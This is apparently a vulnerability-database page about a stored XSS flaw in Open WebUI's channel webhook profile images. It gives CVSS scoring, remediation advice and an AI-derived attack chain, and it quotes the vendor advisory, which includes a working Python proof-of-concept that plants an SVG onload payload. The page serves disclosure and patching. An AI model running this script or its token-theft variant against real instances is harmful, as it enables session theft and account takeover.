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Open WebUI CVE-2026-45314

HIGH
Improper Neutralization of Alternate XSS Syntax (CWE-87)
2026-05-14 https://github.com/open-webui/open-webui GHSA-3856-3vxq-m6fc
7.4
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register or obtain low-privilege account on target instance
  2. Delivery
    Create channel via /api/v1/channels/create
  3. Exploit
    POST webhook with data:image/svg+xml;base64 profile_image_url containing onload handler
  4. Install
    Lure authenticated victim to /profile/image URL
  5. C2
    SVG executes JavaScript in app origin
  6. Execute
    Exfiltrate localStorage tokens and API keys
  7. Impact
    Reuse stolen credentials for account takeover

Vulnerability Assessment

Weakness
CWE
Exploitation Conditions

Exploitation requires an authenticated account on the target Open WebUI instance with privileges sufficient to create a channel and a webhook within it (the PoC demonstrates this with a freshly-created low-privilege user, so admin rights are not needed); the instance administrator must have enabled the Channels (Beta) feature in the Admin Panel, which is off by default; and a separate verified, authenticated victim must load the attacker's /api/v1/channels/webhooks/{webhook_id}/profile/image URL in a browser session for the SVG onload handler to fire. Instances where Channels (Beta) has never been enabled, or whose registration is closed and only contains a single admin, are not realistically exposed.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N scores 7.4 (High) and is internally consistent with the description: network reachable, low complexity, requires low privileges (an authenticated low-tier account), Attack Requirements:Present (the Channels Beta feature must be enabled by an admin), and User Interaction:Passive (a victim must open the malicious image URL). EPSS and CISA KEV data are not provided, so probabilistic exploitation likelihood and active-exploitation status cannot be confirmed. The real-world risk is meaningful rather than theoretical because a complete working PoC is published in the vendor's own GHSA advisory, the prerequisites (account on instance + Channels Beta enabled) are common in collaborative deployments, and successful exploitation yields full session/API key theft in the application origin. The main limiter is the AT:P requirement that the admin has explicitly enabled Channels - instances that never turned this feature on are not exposed.

Exploit ScenarioDerived

An attacker with any low-privilege but verified account on a target Open WebUI instance that has enabled Channels (Beta) creates a channel, then calls /api/v1/channels/{channel_id}/webhooks/create with profile_image_url set to a data:image/svg+xml;base64,... payload whose decoded SVG contains an onload handler that exfiltrates localStorage to an attacker-controlled host. The attacker shares or otherwise causes another logged-in user - ideally an admin - to visit the resulting /api/v1/channels/webhooks/{webhook_id}/profile/image URL, at which point the victim's browser executes the JavaScript in the Open WebUI origin and the attacker harvests session tokens and API keys, pivoting to full account takeover. A complete working PoC accomplishing this end-to-end is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv2 – May 15, 2026

Stored cross-site scripting in Open WebUI versions 0.9.2 and earlier allows authenticated low-privileged users to persist malicious SVG payloads through the channel webhook profile_image_url field, which the server later serves verbatim as image/svg+xml. Any verified user who loads the resulting profile image URL executes attacker-controlled JavaScript in the application origin, enabling session theft and account takeover. Publicly available exploit code exists in the form of a working Python PoC published in the GHSA advisory; no public exploit identified at time of analysis as actively used in the wild.

Earlier versions of this analysis (1)
v1 May 14, 2026 - 21:18

Stored cross-site scripting (XSS) in Open WebUI versions ≤0.9.2 allows authenticated low-privilege users to inject malicious JavaScript via SVG payloads embedded in webhook profile images. Attackers can create a channel webhook with a crafted data:image/svg+xml;base64 payload containing event handlers (e.g., onload). When any authenticated user accesses the webhook's profile image endpoint (/api/v1/channels/webhooks/{webhook_id}/profile/image), the SVG is served inline without sanitization, executing arbitrary JavaScript in the application origin. The vulnerability enables session token exfiltration, unauthorized API actions, and account compromise. Publicly available exploit code exists (detailed PoC provided by security researchers). Vendor-released patch: version 0.9.3. Exploitation requires the Channels (Beta) feature to be enabled by an administrator.

RemediationAI

Vendor-released patch: 0.9.3 - upgrade the open-webui pip package to 0.9.3 or later (pip install --upgrade open-webui, or pull the corresponding container image tag) as described at https://github.com/open-webui/open-webui/releases/tag/v0.9.3 and the advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-3856-3vxq-m6fc. If immediate upgrade is not possible, administrators can disable the Channels (Beta) feature in the Admin Panel, which removes the vulnerable webhook endpoints entirely at the cost of losing channel functionality for users; alternatively, restrict account creation and revoke channel-creation privileges from low-trust users to limit who can plant a stored payload, accepting that any verified user who can create a channel webhook can still exploit it. As a defense-in-depth measure, place the instance behind a reverse proxy that rewrites the Content-Type for /api/v1/channels/webhooks/*/profile/image responses to a safe type such as application/octet-stream or strips data:image/svg+xml responses, recognizing that this may break legitimate SVG profile images.

Affected Packages

pypi open-webui fix: 0.9.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI is a self-hosted web frontend for large language models (pkg:pip/open-webui) written in Python with a FastAPI backend. The vulnerable code path is in the Channels (Beta) feature: the POST/PATCH handlers for /api/v1/channels/{channel_id}/webhooks/create accept a profile_image_url field with no validation of the URI scheme or content. When GET /api/v1/channels/webhooks/{webhook_id}/profile/image is called, the server detects the data: prefix, base64-decodes the payload, parses the media type directly from the attacker-supplied data URI header, and returns it via a FastAPI StreamingResponse with Content-Disposition: inline and media_type=image/svg+xml. CWE-87 (Improper Neutralization of Alternate XSS Syntax) applies because the attack abuses SVG's embedded scripting capability (event handlers like onload) rather than classic HTML tag injection - the server trusts the data URI to dictate its own MIME type and never sanitizes the SVG DOM.

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Severity by source

GitHub Advisory PRIMARY 7.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
May 15, 2026 - 22:28 vuln.today
v2 - CVSS changed
CVSS changed
May 15, 2026 - 22:22 NVD
7.4 (HIGH)
CVE Published
May 14, 2026 - 20:18 nvd
HIGH

DescriptionGitHub Advisory

As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.

Summary

The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.

Details

The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.

PoC

  1. Set up a new instance of Open WebUI and log in as admin
  2. In the Admin Panel, enable *Channels (Beta)* and click Save
  3. Create a low-privilege user in the Users tab
  4. As the attacker, use the low-privilege user to run the following script:
py
import base64
import secrets

import requests

BASE_URL = "http://127.0.0.1:14000"
EMAIL = "low@local.test"
PASSWORD = "low"

CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'

if __name__ == "__main__":
    s = requests.Session()
    s.headers.update({"Content-Type": "application/json"})

    r = s.post(
        f"{BASE_URL}/api/v1/auths/signin",
        json={"email": EMAIL, "password": PASSWORD},
        timeout=30,
    )
    r.raise_for_status()
    s.headers["Authorization"] = f"Bearer {r.json()['token']}"

    r = s.post(
        f"{BASE_URL}/api/v1/channels/create",
        json={
            "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
            "type": "group",
            "user_ids": [],
            "group_ids": [],
        },
        timeout=30,
    )
    r.raise_for_status()
    channel_id = r.json()["id"]

    payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
    r = s.post(
        f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
        json={"name": WEBHOOK_NAME, "profile_image_url": payload},
        timeout=30,
    )
    r.raise_for_status()
    webhook_id = r.json()["id"]

    print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")

This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:

http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image

<img width="1079" height="222" alt="image" src="https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df" />

Impact

Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.

Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.

Original Agent Report

<img width="400" alt="app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)" src="https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df" />

Executive ViewAI

Why It Matters

Open WebUI versions 0.9.2 and earlier contain a stored cross-site scripting vulnerability that enables authenticated users to compromise the sessions and accounts of other verified users. Publicly available exploit code significantly increases exploitation risk. Organizations using Open WebUI must immediately remediate to prevent widespread account compromise and unauthorized access to application data.

Business Impact: High
Compensating Controls

Patch available per vendor advisory

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)GitHub Advisory

pkg:pip/open-webui

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